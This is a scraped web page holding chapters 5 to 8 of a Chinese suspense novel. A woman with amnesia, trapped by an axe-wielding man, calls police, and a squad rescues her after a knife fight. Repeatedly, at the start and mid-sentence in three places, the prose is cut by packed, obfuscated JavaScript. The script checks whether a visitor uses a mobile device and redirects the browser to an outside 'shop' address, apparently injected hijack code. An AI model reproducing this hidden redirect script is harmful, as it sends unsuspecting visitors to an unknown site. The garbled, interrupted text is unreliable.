l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179089|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是新闻直播和黑卡。想到黑卡是在看完新闻后才找到的,那么关键节点就在于找到黑卡。 想到这里,纪然有些无奈。 因为不管她现在在头脑风暴些什么,在没有触发新的节点前,一旦她“死了”,又会全忘了。 那么,下一个节点是什么呢? 纪然又看了眼手机上的时间,9点53分,距离第三次“复活”过去了十分钟左右。 同时也距离第三页写到的死亡结局更近了。 她拿着手机,无意识地来回划拉上面的菜单栏。 然后看到了定位服务这个按钮。 纪然:! 光想着手机锁屏了用不了,怎么就忘了还可以直接紧急报警啊! 既然笔记本写的内容是真实的,那门外的斧头狂魔也是真的。 她火速按了电源按钮五下,进入SOS紧急联络页面,自动播了报警电话。 “你好,这里是临光区公安局报警服务台。”平缓又咬字清晰的男中音从手机里响起。 纪然拿着手机的手指稍微使劲,语气保持着镇定,但是微微紧绷着的声线遮掩不了她的紧张:“你好,我要报警。我被绑架了,现在被困在一个陌生的房间里,门外有拿着斧头的人想要杀我,我也不清楚我在哪里,你们能定位这个手机的位置吗?” 她一口气说完,吞咽了下口水。 “被绑架了?抱歉,我们无法直接定位你手机,你形容一下所处的大致位置,周围有什么建筑吗?对方一共有多少人?”电话那头的接线员微微一愣,冲着旁边的人打了个手势。 “是的,绑架,门外应该就一个人,那人还没闯进来,但是他手上有斧头,砸门很快。”纪然一边说一边时不时看向房门,内心祈祷门外的人还没这么快过来砸门。 她缓了一口气,看向窗户:“位置不清楚,我失忆了,醒来后就在这个房间里,不过我能看到窗外。我在四楼,这里大概是出租楼房,家具简单老旧。不到一百米处有条马路,位置偏僻来往车辆很少。对面没什么建筑,比较空旷,只有零零散散的小楼房,楼层最高到三楼。” 纪然走到窗户边,透过玻璃直面阳光,放眼远眺,继续说:“这栋楼都有防盗窗,对面能看到的楼房比较老旧,附近绿化种的好像是榕树。不过,我没有在这里看到地面上有人。” 她伸手接住一缕阳光,抿了抿唇,又补了一句:“现在太阳是正对着窗户。” “失忆了?你还记得自己的基本信息吗?”接线员是个三十多岁的男人,一只手拿着电话,另一只手正在飞快做着记录,还用眼神催促着旁边的其他人。 纪然想了想:“我叫纪然,二十岁。” “没了?”接线员的声音停顿了两秒。 “没了,我就记得这些。”她轻轻叹了口气,略带不安地回头瞥了一眼房门的方向。 电话里传来另一道声音,声音不大:“这名字好耳熟啊……” 随着一阵嘈杂的摩擦音,电话里与她对接的人换了个,语气有些急促:“你叫季然?哪个jì?四季的季吗?” 5. 嘘,门外有人 听到这话,一瞬间她就想到刚醒来没多久时,门外人喊的“小然”,难道还有个人叫季然吗?她没多想:“不是,是纪念的纪。” 那人面带思索,嘀咕了一声:“这么巧啊,同音字……” 电话又被原来的接线员夺过去:“不好意思,你这边行动受限吗?方便的话可以在窗户上做些记号之类的,我们会尽快赶到现场。” 纪然环顾了一圈房间内的东西,目光若有若无地飘向房门,随后落在床单上:“不受限,房间内可以自由活动,我等下会在防盗窗上系上浅绿色带花纹的床单。你们要尽快,门外的人随时会闯进来。” 挂掉电话后,纪然看了眼时间,9点58分。 门口还没动静,她掀起床单,拉扯着系到防盗窗的栏杆上。 然后坐在椅子上又翻开了笔记本,看到第四页的内容更新到她报警后给窗户系床单为止。 不知道这个“新剧情”算不算节点。 仔细回想,有几点很奇怪,为什么门外的人要杀她?那人是一直蹲在门外还是躲在哪里盯着? 笔记本第一页的dead end是在那人说话后开了门,第二页的de是在那人说话后接了话,第三页的de就有些想不明白。 按照她的行为处事,在明知有危险的情况下,不可能会发出声音,但最终还是被那人闯进来杀死了,是因为电视声音吗? 可当时电视播放的声音并不大,除非那人一直趴在门上听。 如果是一直趴在门上听动静的话,为什么会在电视放完后过了一段时间才闯进来? 纪然翻到第三页,仔细琢磨着里面的每句话,视线停在了最后几句上。 「在我检查门槛的时候,突然听到门外有脚步声和呼吸声,有人在门外!」 「不知道为什么,我被发现了。」 在检查门槛的时候,听到门外的声音,之后de了。 按照这些来推测,门外的人并不是一直守在门口,起码在她看新闻直播时不在。 而第三页剧情里的她,在检查门槛时可能发出了什么声音,正好那时候门外的人走到门边上,对应第三页提到的脚步声,所以那人听到了动静。 检查门槛这种只需要蹲下去的简单动作,纪然不觉得自己会发出声音。 所以是门外的人是听到了什么动静? 5月10日,上午10点整。 距离报警只过去了几分钟,笔记本里提到的门外之人犹如一把悬浮在脖子后面的刀,锋锐的利刃正对着那块骨头,随时都会落下来,让她一刀毙命。 微热的风被送进房间,吹过她的刘海。 窗外楼下阳光透过榕树洒落在地上形成零碎光影,枝与叶交错又在耀眼的光芒里斑驳,明媚色彩下空气中仿佛充满了美好的气息。 从窗外透进来的光线照亮房间里她的侧脸,披散的头发柔顺地从耳后滑下一缕到身前,青丝在亮丽暖色中被染了颜色,泛起一圈绚烂光晕。 她另一边侧脸藏在阳光下的阴影里,桌上翻开的泛黄纸张被照耀出白亮的透彻感,排列整齐的黑字都像加了浅浅描边,纤长的手指如蝶吻花般轻触那行字。 「听到门外有脚步声和呼吸声。」 在临夏的阳光中更显嫩白的指尖点了点后面的三个字。 呼吸声。 纪然抬起头,打量着房门——普通的单扇防盗门,这没什么奇怪的。 但是,一个人蹲在门里,另一个人站在门外,得呼吸有多粗重才会被里面的人听到? 想到这,一个激灵从尾椎骨升上来,瞬间头皮发麻。 门外的人……当时也是蹲着的。 甚至可能隔着一扇门与她脸贴脸,近到令人胆颤的地步,才会透过门缝听到呼吸声。 呼吸时,人是意识不到自己有发出什么声音。或者说,呼吸是人无意识的本能行为,是被动的。当人意识到自己在呼吸时,呼吸就成了主动行为,与被动时的频率不同,才会注意到自己的呼吸声。 除了刻意去想呼吸这件事外,能让被动呼吸频率错乱的只有在人的情绪有波动的时候,且还需要安静地环境,注意力要放在听动静上。 所以当第三页剧情里的她听到声音时,已经晚了,门外的人在走近蹲下的那一刻已经知道里面有人了。 所以后面一句写着不知道为什么被发现了。 她在听门外动静的时候,门外的人也在听里面的动静。 细思极恐。 纪然合上笔记本,再次看了眼时间,十点零四分。 警察没这么快过来,而此时门外的人估计已经到了门口,她不能发出任何声音。 虽然不清楚之前门外的人蹲守在哪里,但从她拉开窗帘到现在也有一段时间了,门外都没动静,说明那人并不是在外面的这条街附近,看不到她拉开窗帘。 那么也可以排除这间房的上下左右房间,毕竟这么近的距离,能很清楚地听到拉开窗帘的动静。 不管是蹲守在哪,好歹目前她只要不发出声音就行,面对这种杀人魔,还是老老实实等人民警察过来解决吧。 希望警察能早点找到这个地方。 现在的安全都只是暂时的,她随时会有生命危险,说不紧张都是假的,即使没有以前的记忆,但身体的本能和情绪的反应都在告诉她,她之前只是个普通人,面对这种情况她很害怕。 透过玻璃窗户的阳光在桌上越爬越远,衬托出愈发安静的室内,纪然听到门口处传来窸窣声。 鸦青色的睫毛颤了颤,纪然刻意放缓放轻自己的呼吸,瞳孔像捕食者一样牢牢锁定大门。 胸腔内的心脏一次次搏动,犹如无数颗小石子砸进水塘中。 近了。 脚步声更近了。 轻微到几乎让人以为是错觉的脚步声停在门外。 纪然无声地呼吸着,保持听到门外动静前的姿势,身体僵硬又紧绷。 门里门外都安静得像无人存在。 一时间,纪然只能听得到自己的心跳声,在胸腔内越来越用力地跳动着。 那人现在就趴在门上听动静吗? 她不敢想象那画面,但大脑又控制不住地勾画出门外的场景,她越是想要转移这个注意力想点其他的,脑子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179090|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里就越是出现更详细的画面。 甚至想象出来那人是什么表情,眼神是什么样的。 纪然感觉世界上最恐怖的可能不是未知的危险,而是来自于自己脑子里想象出来的未来进行时。 在静谧的房间里,时间仿佛过去了几分钟,又好像只过去了几十秒。 门外的人很有耐心,耳朵一直贴在门缝处,维持着一个姿势一动不动。 又等了一会儿,门外依旧没有动静,有这么一会儿的缓解时间,过了最紧张最害怕的阶段后,此时她的心跳已经恢复到正常频率。 胆子也大了点,瞧着门外的人一直没有动静,内心深处还生出几分破罐子摔破的感觉,觉得大不了就再死一次。 不过这种想法也仅在脑子里一闪而过,门外的人要是真闯进来了,她比谁都要害怕。 就跟饿的时候感觉自己能吃下一头牛,等牛真来了,又不行了这种感觉一样,自欺欺人的错觉罢了。 纪然悄无声息地按量手机屏幕,上午十点十二分。 不知道警察还要多久才能找到这里,到了这里后是直接上来还是先在楼下埋伏,到时候门外的人还在吗,会撞上吗,来的是普通警察还是武警? 脑子里天马行空地想着,这种什么都做不了只能等待的感觉实在是有些折磨人,房间里连个能当成武器的东西都没有,撑死用这把坐着的椅子挡下攻击,虽然说如果力气大点,可以当个投掷武器。 想到投掷武器,纪然看向桌面上摆放整齐的泡面矿泉水和罐装可乐。 这些东西没椅子这么重,到时候外面的人闯进来也能丢出去砸他。不过不用想也知道这些东西无法造成什么伤害,只是能让她多活几秒罢了。 视线在桌上划过,放到烧水壶上。 一瞬间有了一个灵感,但下一秒她又否决了。 要是一开始在门外的人来之前她就烧上一壶热水就好了,等那人闯进来她就一壶开水泼上去,这谁能挡? 只要命中目标,怎么着她也能趁乱逃走,只要离开那人的视线范围,在没监控的情况下,她随便躲个地方都能苟活着。 想到这,纪然有些后悔,现在那人已经在门外监听了,再去烧水也来不及。要是之前自己再细心一点,多观察多想想,也不至于现在除了等待就没一点办法。 时间一分一秒地过去,很快来到十点十七分。 门外再次传来细微的窸窣声。 那人要走了吗? 这个念头刚闪过,就听到房门被敲响了。 “咚咚咚!” 纪然被吓了一跳,咬着唇依旧没动,连姿势都没变,生怕不小心会发出什么声音。 这要是没点防备,突然听到重而响的声音人都会被吓到,一不留神很容易就会发出动静,门外的人真是好算计。 “小然,你在里面吗?” 是之前刚醒来时听到的声音,看来是同一个人没错了,只是不清楚这人为什么要杀她。 临夏的暖阳照在纪然身上,也暖不了她的手脚。她一声不吭,好似房间里就没这个人一样,连呼吸都微不可闻,安静极了。 6. 第一小队,出发! 从公安局接到报警电话开始,就有人根据报案人口中的信息进行分析。 之前抢了接线员手中电话对那头问了一句话的警察,拿着写了报案信息的笔记走出接线办公室,一边思索一边无意识地走到大厅服务台边上。 具体说不上来什么,但他有种诡异的直觉,这次的报案或许跟第九系列凶杀案有关。 “绿化是榕树……不超过三层的旧楼房……马路一百米有出租楼,位置偏僻,没有人……没有其他建筑……正对太阳……” 肖羽顶着板寸头,穿着警服也难掩一副浪荡的模样,从刑侦部第一小队的会议室出来拿外卖,刚走到大厅服务台边就听到这几句念叨,随口就接了话。 “榕树绿化那不是桂香街那边吗?” 正在靠在服务台上的人一下子抬起头,看向肖羽:“桂香街?你知道那的情况?” 肖羽找到自己队里几个人的外卖,一个接一个地往手上提:“以前那种的桂树,香飘十里,我之前案子遇到的一个大老板住那边,说他家小孩桂花过敏,前几年道路翻新时他出钱给绿化换上了榕树,还算有点印象吧。” 问话的警察名叫陆兆兴,从警有七八年了,肤色有些黝黑,下巴上露出些许胡渣,眼睛看人时有点凶恶的感觉。 陆兆兴挑了下眉,叫住了肖羽,直起身把记录的笔记递到他面前:“我这从其他区调过来没多久,对这块不熟,正好小羽你了解,你来看下这是哪?” 肖羽看着面前的字迹有些皱眉,从表情上看他像是有些不耐烦的样子,实际上熟悉他的人都知道,这人就是看着有些野,本质上是个热心小伙。 “不超过三层的旧楼房,嘶,好像是靠近桂香街隔壁街道的一片老楼房,那一块都是出租屋但住的人不多,毕竟实在是有些偏僻。马路一百米……有点印象。” 肖羽想了想,确保记忆没出错,又继续说:“你地图找到桂香街,然后往它跟右边那条街交汇的地方走,到转角处再右转走个不到一公里就能看到那片老楼房。” 他一边一手提三个外卖,另一只手提两个,提得稳稳的:“这都十点了,陆哥你要没其他事的话我先走了啊,一家子都等着我这外卖呢。” 陆兆兴听到这话,心思一动,绑架案一般是由刑警队负责的,正好这第一小队今天人都在,肖羽也认识路,壮丁这不就来了吗? 他摆了摆手,快步走回自己的办公室工位,对着地图研究,同时打出一个个电话。 肖羽提着五份外卖来到第一小队的休息室,刚一进门就看到队长宋丞坐在最前面,合上笔记本,直勾勾地盯着他,瞧着感觉身上充满了怨气。 “队长你被邪剑仙附身了?” 肖羽放下外卖,把宋丞的那份递给他,然后无视所有人,单独把叶柯的外卖放到她面前的桌上。 “谢谢。”叶柯把一边的长卷发顺到耳后,露出温婉又明媚的脸,对着肖羽轻声道谢。 没等肖羽说什么,乔云深穿着大白褂从后门走了进来,走到肖羽边上顺手直接推着他往前走:“行了行了,谁还不知道你,别挡路了,我要饿死了。” 肖羽有些无奈的被推到宋丞面前的桌前,站稳后一把揉上乔云深的头:“你这小子,胆子肥了啊,连你羽哥都敢调侃了。” 乔云深长着一张正太脸,也是队里年纪最小的,所有智力都点在医学上,对其他的是七窍通六窍——一窍不通,平常就是个生活废,但因为他有时候还挺会撒娇的,大家都把他当弟弟看。 被肖羽这么揉头,他却满眼只有外卖,丝毫没分给肖羽半个眼神,拿着自己那份外卖坐到宋丞隔道靠墙的位置上。 李新咏走到前面,瞥了肖羽一眼,秀气的眼中露出一种看戏的神情,拿起自己的外卖又坐到后面。 没看懂他的眼神,但是肖羽也没在意这个,拎着属于自己的外卖坐到叶柯旁边,完全忽略了队长宋丞看向他时的阴森森。 叶柯正吃着米线,看到肖羽坐到旁边,眼里忍不住露出笑意,咽下嘴里的米线后侧过脸,轻声对他说:“你们好像又要加班了。” 肖羽:! 他拆外卖的动作顿住了,一脸不敢置信:“什么?” 看到他那一向张扬的五官露出这种表情,倒显得有几分可爱。 叶柯笑弯了眼睛,婉然里带着一丝狡黠:“而且还是你自己争取来的。” “我争取……加班?”肖羽感觉自己耳朵出了问题,怎么连叶柯的话都听不懂了。 正在吃着黄焖鸡的宋丞听到这里,额角跳了跳,刚毅如刀削般的脸上黑了又黑。 想到还在外面追踪案件线索的第二小队和第三小队,目前还真就他们这一队能空出时间再接个案子,虽然空出的是难得的休息时间。 宋丞在心里叹了口气,吞下一口饭后头也不回地说:“快吃吧,刚才陆兆兴发过来消息,等下我们有一个新任务要执行。目前还不清楚是什么,但留给我们的休息时间不多了。” 听到等下又要出任务,刚打开外卖盒子的肖羽张了张嘴没忍住蹦出两个字的文明用语:“卧槽……” 话音未落就瞥到叶柯还在边上,话音再一转:“长莺飞二月天……” “噗嗤——”乔云深直接笑呛着了,“咳咳……咳咳咳咳……” 最后面的李新咏也忍不住发笑。 叶柯当然听得懂这是怎么回事,偷偷用手指掐了自己一把才忍住笑意,装作若无其事地说:“怎么你吃饭还吟诗啊?” 这句话仿佛戳到了所有人的笑点,除了肖羽和狂掐自己的叶柯,就连宋丞也忍俊不禁,乔云深是笑得最大声的。 肖羽耳根都红了,不过他看叶柯还是那么温柔的样子,松了口气,傻笑着:“活跃下气氛,吃饭吧吃饭吧。” 一般要出去执行任务时,都是由宋承作为队长,带领李新咏和肖羽,三人一起出任务。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179091|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶柯是队里的心理医生及犯罪侧写师,乔云深是法医,除非碰到凶杀案和需要抓捕嫌疑人外,平常也不会带这两人一起出任务。 毕竟这两人,一个是被娇养着长大的书香门第大小姐,一个是刚成年没多久的瘦弱少年,身体素质哪里比得上在部队里摸爬滚打多年的另外三人。 加上刚熬了一通宵的工作,宋承也不是那么不近人情非要让两人一起继续加班。虽然还不清楚是什么任务,但目前也没听到什么风声,不是重大案件的话,不如让他们好好休息,有情况再拉出来加班也一样。 想到这还没来得及休息就要失去的休息时间,宋丞和李新咏也笑不出来了。 “叮铃铃——” 宋承的手机铃声响了。 知道自己即将要出任务的三人眼神一凝,休息室里轻松又温馨的氛围一瞬间消散,宋承接通了电话。 “嗯,了解……收到,我们马上出发!” 宋承挂断电话后,想到那边把车开过来也要几分钟,于是沉着嗓子,言简意赅:“等下由我、新咏、小羽三个人出任务,小柯和云深休息,有情况再电话联系你们。任务时间紧迫,现在,还剩两分钟吃饭收拾。” 话音刚落,三人拿着筷子开始狂风吸入,分分钟吃完了这份不知道是晚餐还是早餐亦或是午餐的一顿饭。 时间紧迫,吃完饭后,宋丞和李新咏在收拾桌子,肖羽一边手脚麻利地收拾一边扭头跟叶柯说话。 “你慢点吃不要着急,吃太快了会对胃不好,等下吃完后你回家好好休息,有什么事就给我打电话……” 叶柯一边点头一边嗦着粉,柔和的眉眼下是明显的黑眼圈。 李新咏提着外卖垃圾经过肖羽身边,一把勾住肖羽的脖子打断了他的絮絮叨叨:“行了,赶紧走吧,任务要紧。小柯又不是小孩子,别影响人家吃饭。” 肖羽心知任务时间很赶,但还是有些不舍地回头看了叶柯一眼,拿着垃圾走出门,离开叶柯视线范围后,他恢复几分正经,又变回那副桀骜的样子。 三人快步走到大厅,丢了垃圾后,与陆兆兴的眼神对上。 宋丞撇开眼不想理他,李新咏更是看都没看他一眼,两人加快脚步走到门口。而肖羽在那一眼对视里,想明白了什么。 “是你之前说的地方?” 陆兆兴有些黝黑的脸上露出笑容,点点头。 肖羽有点无语:“终究是我错付了。” 就在此时,一辆越野车开到门口,在三人面前停下,一个警察从打开驾驶位的门走出来,跟三人打招呼:“宋队,东西都在车里了,你们一路顺风!” 宋丞点头道谢,转头对着二人说:“新咏开车,小羽坐副驾驶指路。” 三人快速钻进车里,在肖羽的示意下车子快速往桂香街行驶,宋丞坐在后排打开了笔记本,对着地图一边询问肖羽详情一边分析,然后从背包里摸出能用到的武器和装备设备。 7. 救援行动开始 肖羽坐在副驾驶上,飞快装备好自己,还替李新咏往衣服里塞武器,给他戴上战术耳麦。 宋承收拾好装备后,摸出手机发了几条消息报备上去,然后拨打了120,说明情况后让他们安排救护车到指定地点。 任务上有写明嫌疑人手中有武器,在有可能会造成人员受伤的情况下,还是做好万全准备吧。 桂香街离他们所在的公安局不远,正常车程接近一小时,但进车前李新咏往车顶上贴了个警报器,直接开灯鸣笛一路车速拉满。 走高速过了桥后人烟稀少,车辆更是难以见到几辆,在没车速限制下红灯直闯,一小时车程压缩成不到二十分钟,在临近桂香街时才停了警报器。 宋丞看着窗外,目光四处打量:“报案人所处楼层的高度在四楼上下,有防盗窗,窗户上会系有绿色床单。” 肖羽指着路让李新咏把车子开进其中一条路口,这才从后视镜看了一眼宋丞:“队长,啥任务啊?” “……” 宋丞这才想起来因为赶时间还没来得及跟大家讲明任务情况。 “咳……是个绑架案,报案人是被绑架本人,行动不受限但被困在房间里无法出去,门口只有一个拿武器的人。我们的任务是救出报案人并抓住绑架犯,虽然任务很简单,但是也不能掉以轻心,在确保报案人人身安全的情况下,自己也不能受伤,一切小心为上,明白吗?” 说着说着,宋丞就满脸严肃,不管是什么任务,做这行最忌讳轻敌,那不仅是对自己不负责,也是对受害者不负责。 “明白!”李新咏和肖羽异口同声,铿锵有力地回答。 越野车下了马路,从小道里行驶出来后就看到空旷的老楼房区。 “队长,你看那里!”肖羽一瞬间就捕捉到不远处四楼防盗窗上系着的绿色床单,视线牢牢锁住,大脑飞快推算出行动路线。 宋丞也在第一时间看到了,从包里掏出最新版警用无人机,撕下一张纸写上纸条,贴在无人机上,降下车窗操控无人机往目标窗户处飞。 李新咏在脑子里规划了行车路线和撤退路线,然后把车开到能轻易观察到对面窗户的隐蔽位置,还要确保之后上车能顺畅打火撤退,这才停下车。 车门被小声地打开,肖羽比划了下手指,用食指由下方向上,向左再向下,作出开口矩形的手势,示意他走大门去查看情况,宋丞点点头,用嘴型说出“小心”二字。 解开安全带后李新咏也无声地下了车,伸出食指对着自己胸膛,然后食指和中指伸出,分开微微弯曲指向自己的双眼,再双指指向旁边,表示他去四周探查,在宋丞同意后两人各自行动起来。 这款无人机起飞后几乎没什么声音,很快就凑近了目标窗户,宋丞操控它在窗户前来回绕圈,吸引房间里人的注意力。 上午十点二十八分,从门外的人前门询问后又过去了十分钟,纪然始终不敢动弹。 虽然门外很安静,但直觉告诉她,那人还在门外。 很快,时间又过去了五分钟,纪然听到门口再次传来细碎的窸窣声,还有尝试扭动门把手的声音。 心高高悬起,这种即将到来的等死的感觉真的太令人窒息了。 她看向桌上的笔记本,轻轻地翻开第四页。 剧情已经更新到了她报完警后的这段等待时间。 「……然后我报了警,时间在等待的焦虑和不安中过去,门外的人敲门和扭把手我都不敢发出声音。」 「幸好,在我即将崩溃的时候,警察找到这里了。」 嗯? 警察来了? 纪然身体没动,下意识地扭头看向窗外,就看到有个无人机在窗户外转来转去,无人机身上还贴了张纸。 一瞬间激动喜悦意外等情绪涌上心头,内心深处仿佛生出一股莫名的力量,让她身体都有些颤抖,感觉门外的人也没什么可怕的了。 小心翼翼地起身,迈着悄然无息的步伐走到窗前,悄悄探头,视线在底下来回扫视。 还没看到警察人在哪,无人机就飞到防盗栏边前,纪然把纸条接过来。 「别怕,我们来了,方便的话写下最新情况。」 简单的一句话打破了人心底竖起的所有防线,奇怪的酸涩感陌生极了,纪然一时间有些手足无措。 或许是见她站在原地拿着纸条没动静,无人机又开始绕圈,余光中动来动去的身影唤回了她的理智。 拿着纸条轻轻走到桌前,提笔写下最新情况。 其实也没什么好写的,报完警后半小时都在等待中度过。 她拿着纸条又走回窗前,无人机立马凑了过来,机身上沾着另一处双面胶,只用把纸条往上一贴,就能粘住。 人民警察都真是意外地细心呢…… 宋承操控无人机回到自己面前,伸手拿过纸条。 「报完警十分钟后门外的人就来了,一直趴在门口听动静,我没敢发出声音,到现在那人都没走,十五分钟前他敲门问有没有人在,刚才还在转门把手,我只知道他手上有把斧头,斧头背面是匕首。」 没什么信息,不过这正好说明那个女孩现在还是安全的,宋承对着战术耳麦低声下达指令:“目标人物暂时安全,嫌疑人还在门口,手上至少有一把魔鬼斧。新咏警戒,小羽汇报情况和位置。” “收到。”李新咏在附近探查了一圈,没见着什么人,扶着耳麦回复了一句,大步走回目标这栋楼,目前只发现这楼只有一个出口。 肖羽此时已经检查完了一二楼的过道,正靠在二楼与三楼的楼梯转角处,再往上就容易被四楼的人发现,他轻轻踩住一节楼梯,压低了嗓音回答。 “收到。一楼二楼没问题,我在上三楼的楼梯转角处,没听到动静,目标嫌疑人在四楼没动过。” “了解,等我过来。”宋承简短交代完,迅速下车绕到大楼门口,与李新咏对视一眼,两人一前一后奔向楼梯。 皮质的黑色战术靴透气又结实,鞋底底纹路都是防滑设计,抓地力强,防滑耐磨,踩上楼梯时都能感受到鞋子优秀的弹性和减震缓压。 两人悄无声息地上楼,很快就与肖羽汇合。 老旧的楼梯间一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179092|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下子挤进三个大男人,瞬间显得有些狭小拥挤,肖羽一脚往上跨了三节楼梯,站在那贴着墙边。 “队长。”肖羽用气音喊了声,现在距离目标位置很近,他没有再出声,而是用戴着战术手套的右手食指指向自己胸膛,随后五指伸开作手刀状,指向楼上,用眼神询问。 宋承斜了他一眼,否决了他这个想要单独上的提议。 下一秒,宋承弯曲手肘部位,前臂指向地上,手指紧闭,从身后向前方摆动,表示继续推进。 李新咏和肖羽点点头。 宋承一马当先,利落地迈出长腿,三两步跨上三楼,在楼梯与走廊的转角处贴墙而站,李新咏迅速跟上,一个转身就贴到对面墙边,握紧了手中的SOG S37匕首。 这把匕首总长314mm,刃长178mm,刃厚6mm,362.8g的重量让他使用起来很是轻便。刀刃尾部还有齿刃设计,方便切割绳索,刀身表面有雾面防锈处理,不易反光,在执行任务时有利于隐蔽。 两人屏息凝神听着声音,几秒后宋承竖起拇指,肖羽立马身形矫健地窜上去,黑影一晃,人就站到了三楼与四楼的交接梯台上。 宋承微微弓着身子,脚下轻巧如踩着猫步似的一节一节踏上去往四楼的阶梯。 不够明亮的楼梯间,肖羽手上拿着95式多用途刺刀,这把刺刀多用于95式突击步枪上,参照了M9刺刀,除基本需求的刺刀功能外,还可当成格斗匕首与野外求生刀。 全长302mm,刃长178mm,刃厚仅有4mm,比李新咏手上的那把更为轻薄,刀刃还具有刺杀砍削、锯锉的功能,配合刀鞘时具有剪断铁丝网功能。 他行动灵敏,右手正握刀柄,紧随其后。 李新咏抿着唇,跟在最后面,右手反握刀柄,刀尖向下,左手无意识地虚虚按在腰侧,耳听八路,注意力更多的是集中在后背的方向。 三人贴墙而上,在即将到达四楼走廊时,宋承停下脚步,五指握拳,手臂弯曲伸出。李新咏和肖羽止住动作,手持武器一言不发,连呼吸都微不可闻。 站在距离四楼走廊仅仅一步之遥的阶梯上,宋承缓缓拔出战术腰带上的BUCK 夜鹰650,黑色的刀身散发出凌冽的气息。 BUCK刀以高品质而闻名于世,这把夜鹰650更是一款著名的多用途战术刀。全长288mm,刃长165mm,刀刃和手柄体现出浑然一体、不可分割的协调性。刀刃厚6mm,全龙骨等宽柄芯贯穿整个手柄,是极度强劲的野外工具。 同时,手柄表面有格状纹路,提供更舒服稳固的把握度。它实用的刀刃设计不仅非常适合重型工作,也非常适合在野营、漂流和徒步跋涉时使用。 从宋承还在陆战特种部队的时候就是使用的这把刀,用到现在已经成了一种习惯。它就像他的战友一样,无论在野外行动还是刑侦方面,都配合得十分默契。 他侧耳倾听,走廊里头传来不明显的窸窣声,作战经验丰富的他知道,那是人体皮肤与衣服布料间的细微摩擦声,一瞬间,他握紧了BUCK 夜鹰650。 8. (铐上)抓到你了 宋承回头看向身后的队友,手臂向身旁伸出,手肘屈曲,手腕举至面颊高度并作握拳状,掌心对着李新咏。 李新咏比出OK的手势,队长这是让他原地不动。 与宋承配合多年,他早就知道宋承的一些手势的潜台词,比如这个原地不动的手势,实际上是让他在这守株待兔,伺机而动。毕竟,这个楼梯是唯一的出入口。 知道李新咏明白他的意思后,宋承的视线落在肖羽身上,见肖羽一脸跃跃欲试地看过来,他直接把左手举到头上,弯曲手肘,掌心盖住天灵盖,意思是掩护他。 肖羽左手腕举到面额高度并作握拳状,掌心向着自己,表示明白。 下达完指令后,宋承弓起身子,手臂和大腿的肌肉鼓起,一副蓄势待发的模样。 闭上眼睛在心里默念三秒倒计时,数到零的那瞬间,宋承猛地睁开眼,腿部肌肉绷紧用力一蹬,像一头雄狮似的冲进四楼走廊。 肖羽紧跟其后,张扬的脸上满是坚毅与野性,论凶猛程度,不比宋承这个陆战特种兵退役下来的刑警队长弱。 “铛!” BUCK 夜鹰650与魔鬼斧这两个轻便型的冷兵器碰在一起,发出响亮又刺耳的金属撞击声。 没想到这个嫌疑人反应这么迅速,原本只想卸掉他的武器,一击没制服掉对方,宋承迅速转变攻击招式,右手灵活一转,刀柄反握,冲着对方的腹部划去。 果不其然,那人把魔鬼斧一平,锐利的刀刃在斧身上划过,令人头皮发麻的刺耳声刺啦响起。 宋承没有停下攻势,手一扬,BUCK 夜鹰650在他手里像演杂技似的,眨眼间换成了正握刀柄,从上而下用力一劈。 “铛!” 对方虽然有些手忙脚乱,但反应很快,立马双手握紧两边的斧柄,挡住了又一击。 见状,肖羽从宋承身旁冲过去,手上的95式刺刀一往直前地直刺对方。 那人握着斧柄用力一甩,化解了宋承手上夜鹰650的力道,往后连退几步,双手提起魔鬼斧对着肖羽就是一个横砍。 肖羽运动神经发达,身体柔韧性也好,直接一个向后下腰躲开了对方的攻击。 趁着对方这一个大动作的横砍,宋承已经三步并两步地助跑起跳,充满爆发性的下肢力量顺着黑色战术靴踹到他的胸口。 “砰!” 他被这凶猛的力道冲击得又是连退好几步,后背撞到身后的墙壁上,发出不小的碰撞声响。 宋承和肖羽飞快对视一眼,两人不约而同地同时攻向那人。 此时已经十点接近四十分,门外发出那么大的动静,又是冷兵器对击的铛铛声,又是重物撞墙砸地的砰砰声,纪然想忽略都难。 是警察来了正在跟那人打斗吗? 心底一下子涌出激动的感觉,像在沙漠里饥渴已久的旅人找到了绿洲与水源时的那样兴奋与激动。 终于要得救了,头顶的达摩克利斯之剑被人民警察的浩然正气斩落,纪然听着这动静,忍不住走到门后。 当然,她不是要开门,现在两边还在打斗呢就开门,那人直接抓了她当人质该怎么办? 她悄悄地掀开门上的猫眼盖子,把眼睛凑过去,暗中观察。 